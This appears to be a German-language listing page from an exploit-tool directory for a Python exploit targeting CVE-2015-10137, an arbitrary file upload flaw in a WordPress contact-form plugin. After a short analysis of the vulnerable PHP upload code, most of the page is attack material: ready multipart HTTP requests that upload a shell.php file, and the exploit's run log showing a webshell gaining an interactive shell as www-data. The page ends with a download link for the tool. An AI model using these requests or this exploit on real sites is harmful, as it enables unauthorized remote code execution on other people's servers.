Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
-CVE-2015-10137-WordPress-N-Media-Website-Contact-Form-with-File-Upload-1.3.4 — Python-Exploit für CVE-2015-10137, der eine Schwachstelle beim willkürlichen Datei-Upload im WordPress N-Media Website Contact Form Plugin ausnutzt und die Ausführung einer entfernten WebShell ermöglicht. | Kitploit
Tools/GitHubGitHub/kai-one001/-cve-2015-10137-wordpress-n-media-website-contact-form-with-file-upload-1.3.4
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubkai-one001/-cve-2015-10137-wordpress-n-media-website-contact-form-with-file-upload-1.3.4

-CVE-2015-10137-WordPress-N-Media-Website-Contact-Form-with-File-Upload-1.3.4

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Python-Exploit für CVE-2015-10137, der eine Schwachstelle beim willkürlichen Datei-Upload im WordPress N-Media Website Contact Form Plugin ausnutzt und die Ausführung einer entfernten WebShell ermöglicht.

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

WordPress N-Media Website Contact Form with File Uploader – Analyse der Datei-Upload-Schwachstelle

1. Schwachstellen-Code-Analyse

Plugin-Datei: classes/plugin.class.php, Methode: upload_file()

root@kitploit:~
function upload_file() {
    // ...
    if (! empty ( $_FILES )) {
        $tempFile = $_FILES ['Filedata'] ['tmp_name'];
        $targetPath = $dirPath;
        $new_filename = strtotime ( "now" ) . '-' . preg_replace ( "![^a-z0-9.]+!i", "_", $_FILES ['Filedata'] ['name'] );
        $targetFile = rtrim ( $targetPath, '/' ) . '/' . $new_filename;
        $type = strtolower ( substr ( strrchr ( $new_filename, '.' ), 1 ) );
        if (move_uploaded_file ( $tempFile, $targetFile )) {
            if (($type == "gif") || ($type == "jpeg") || ($type == "png") || ($type == "pjpeg") || ($type == "jpg"))
                $this->create_thumb ( $targetPath, $new_filename, $thumb_size );
            $response ['status'] = 'uploaded';
            $response ['filename'] = $new_filename;
        }
        // ...
    }
    // ...
}

Normaler Datei-Upload-Vorgang

  • Der Benutzer lädt eine Datei über ein Formular oder eine Schnittstelle hoch, Feldname: Filedata.
  • Die Datei wird in einem bestimmten Verzeichnis gespeichert, der Dateiname erhält lediglich eine einfache Zeichenersetzung und einen Zeitstempel-Präfix.
  • Bei Bildtypen (jpg/png/gif usw.) wird ein Thumbnail erstellt.
  • Andere Dateitypen werden ohne Typ‑/Inhaltsprüfung direkt gespeichert.

Bösartiger Datei-Upload-Vorgang

  • Ein Angreifer kann Dateien mit beliebigen Dateiendungen (z. B. .php, .txt, .phtml) hochladen – es gibt keine Whitelist-Validierung.
  • Solange die Dateiendung existiert, wird der Inhalt nicht geprüft und die Datei direkt gespeichert.
  • Falls der Webserver PHP-Dateien im Upload-Verzeichnis verarbeitet, kann direkt eine Webshell aus der Ferne ausgeführt werden.

2. Ursachen der Schwachstelle

  • Fehlende Whitelist-Validierung des Dateityps: Es wird lediglich anhand der Dateiendung entschieden, ob ein Thumbnail erstellt wird – die erlaubten Dateitypen werden nicht eingeschränkt.
  • Keine Prüfung des MIME-Typs/Dateiinhalts: Es wird nicht überprüft, ob der tatsächliche Inhalt mit der Dateiendung übereinstimmt.
  • Upload-Verzeichnis ist über das Web erreichbar: Verzeichnisse wie /wp-content/uploads/contact_files/ sind über das Web zugänglich und unterstützen PHP – ein Angreifer kann die hochgeladene schadhafte Datei direkt aufrufen.

3. Angriffsmethoden

Vollständige HTTP-Pakete für normale und schadhafte Datei-Uploads

1. Normales PNG-Bild hochladen

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: deine-site
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <automatisch berechnet>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="test.png"
Content-Type: image/png

<Hier sind die Binärdaten der PNG-Datei>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

2. Normale TXT-Datei hochladen

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: deine-site
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <automatisch berechnet>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="test.txt"
Content-Type: text/plain

hello, this is a test txt file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

3. Bösartige PHP-Datei hochladen

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: deine-site
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <automatisch berechnet>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

4. Python-Skript

root@kitploit:~

例如:
python EXP.py -u http://192.168.63.131:8081/

  ______     ______     ______     ______     ______
 /_____/\   /_____/\   /_____/\   /_____/\   /_____/\
 \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \
  \:(_) ) |  \:\ ) ) |  \:\ ) ) |  \:\ ) ) |  \:\ ) ) |
   \: __ `\   \:() (|   \:() (|    \:() (|    \:() (|
    \ \ `\ \   \:\_/ \    \:\_/ \    \:\_/ \    \:\_/ \
     \_\/ \_\   \_____/\   \_____/\   \_____/\   \_____/\

[+] 目标地址:http://192.168.63.131:8081/
[+] 正在尝试上传 WebShell...
[+] WebShell 上传成功,正在提取文件名...
[+] WebShell 地址为:http://192.168.63.131:8081//wp-content/uploads/contact_files/1753257322-download.php
[+] 正在验证 WebShell 是否可用...
[+] 验证成功,WebShell 可用!
[+] 进入交互式 Shell 模式(输入 exit 退出)
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> pwd
/var/www/html/wp-content/uploads/contact_files
shell> exit
[*] 退出 Shell,再见!
Tool herunterladen